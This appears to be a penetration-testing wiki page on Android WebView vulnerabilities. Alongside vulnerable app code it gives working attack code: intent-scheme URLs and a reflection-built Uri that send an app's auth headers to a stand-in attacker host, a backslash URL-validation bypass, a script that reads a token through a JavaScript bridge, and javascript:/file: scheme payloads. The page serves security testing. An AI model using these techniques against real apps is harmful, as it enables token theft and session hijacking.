WebView Vulnerabilities

WebView is a View that displays web pages. WebView objects display web content as part of an activity layout, but lack some of the features of fully-developed browsers.

Access arbitrary components

The Intent class allows developers to convert an intent to a string holding a URI representation of it with the toUri(flags) method and create an intent from this URI with the parseUri(stringUri, flags) method. An app can use this to parse a URL with the intent scheme into intent and launch an activity while handling the URL within the WebView. If the handling is not implemented correctly, you can access arbitrary components of the app.

Developers can override the shouldOverrideUrlLoading() method of the WebViewClient class to handle all efforts to load a new link within WebView. The example of mishandling might look as follows:

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if ("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

This code adds a custom handler for URLs with the intent scheme that launch a new activity using the passed URL. You can exploit this mishandling by creating a WebView and redirecting it to a specially crafted intent-scheme URL:

// Intent-scheme URL creation
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);
// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
// Redirect within WebView
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";

However, there are several restrictions:

References:

addJavascriptInterface

addJavascriptInterface method injects the supplied Java object into this WebView. The object is injected into all frames of the web page, including all the iframes, using the supplied name. This allows the Java object's methods to be accessed from JavaScript (the Java object's fields are not accessible).

This method can provide data to JavaScript or even allow JavaScript to controll the host application. For example, the following interface is leaking a user token:

public class DefaultJavascriptInterface {
    Context context;

    public DefaultJavascriptInterface(Context c) {
        this.context = c;
    }

    @JavascriptInterface
    public getToken() {
        SharedPreferences sharedPref = context.getSharedPreferences(getString(
            R.string.preference_file_key), 
            Context.MODE_PRIVATE
        );
        return sharedPref.getString(getString(R.string.token_key), "")
    }
}
public class DefaultActivity extends Activity {
    // ...

    public void loadWebView() {
        WebView webView = (WebView)findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
        // ...
    }
}
<script>
    alert("Token: " + DefaultJavascriptInterface.getToken());
</script>

References:

Bypass URL validation

Abusing reflection

The android.net.Uri is an abstract class with a few internal subclasses, that allows you to build custom URI with arbitrary parts using android.net.Uri$HierarchicalUri.

Assume, an app implements the following validation:

// AuthWebViewActivity 
Uri uri = getIntent().getData();
boolean isOurDomain = 
    "https".equals(uri.getScheme()) 
    && uri.getUserInfo() == null
    && "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
    webView.load(uri.toString(), getAuthHeaders());
}

In this case, you can build a URL that will pass validation, but calling uri.toString() will return the attacker's website:

Uri uri;
try {
    Class partClass = Class.forName("android.net.Uri$Part");
    Constructor partConstructor = partClass.getDeclaredConstructors()[0];
    partConstructor.setAccessible(true);

    Class pathPartClass = Class.forName("android.net.Uri$PathPart");
    Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
    pathPartConstructor.setAccessible(true);

    Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
    Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
    hierarchicalUriConstructor.setAccessible(true);

    Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
    Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
    uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
    // uri.getScheme()   == https
    // uri.getUserInfo() == null
    // uri.getHost()     == legitimate.com
    // uri.toString()    == https://legitimate.com@attacker-website.com
}
catch (Exception e) {
    throw new RuntimeException(e);
}

Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);

This is possible because a victim app does not parse URI itself and trusts the already parsed URI that it received from an untrusted source.

Broken parser

The android.net.Uri does not recognize backslashes in the authority part (but java.net.URI throws an exception), this allows you to bypass a URL validation. For example, the vulnerable code can look as follows:

Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
    // or
    // webView.loadUrl(uri.toString());
}

In this case, you can bypass the restriction with backslashes:

String url = "http://attacker-website.com\\\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// The "host" variable contains the "legitimate.com" value
Log.d("d", host);
// WebView loads the attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());

Missing scheme validation

If an app does not validate the scheme value (but may validates the host one) you can try to abuse this with with javascript and file schemes URLs:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

setWebContentsDebuggingEnabled

setWebContentsDebuggingEnabled enables debugging of web contents (HTML/CSS/JavaScript) loaded into any WebViews of an application. This flag is used in order to facilitate debugging of web layouts and JavaScript code running inside WebViews.

WebContentsDebugging is not affected by the state of the debuggable flag in the application's manifest.

Enabling this flag allows you to execute arbitrary JavaScript code within any WebViews of an application.

References:

References

Last updated